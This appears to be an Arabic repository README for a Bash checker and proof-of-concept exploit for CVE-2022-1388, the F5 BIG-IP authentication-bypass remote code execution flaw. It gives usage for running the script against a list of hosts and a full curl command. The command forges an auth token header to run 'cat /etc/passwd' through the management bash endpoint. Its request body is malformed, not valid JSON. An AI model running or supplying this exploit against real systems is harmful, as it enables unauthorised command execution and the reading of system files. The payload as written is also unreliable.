blind-intruder/cve-2022-1388-rce-checker-and-poc-exploitأداة فحص وإثبات مفهوم مبنية على Bash لثغرة CVE-2022-1388 (RCE) في F5 BIG-IP، تتيح التحقق الآلي من المضيفين المعرضين للخطر عبر تنفيذ حمولات باستخدام curl.
سكربت bash بسيط للتحقق من CVE-2022-1388 RCE (F5 BIG-IP).
[+] الاستخدام: ./CVE-2022-1388.sh hosts.txt
لا تنسَ تغيير عنوان IP
curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "{'command':'run','utilCmdArgs':-e 'cat /etc/passwd'}" -H "Connection: keep-alive, X-F5-Auth-Token" -H "X-F5-Auth-Token: anything"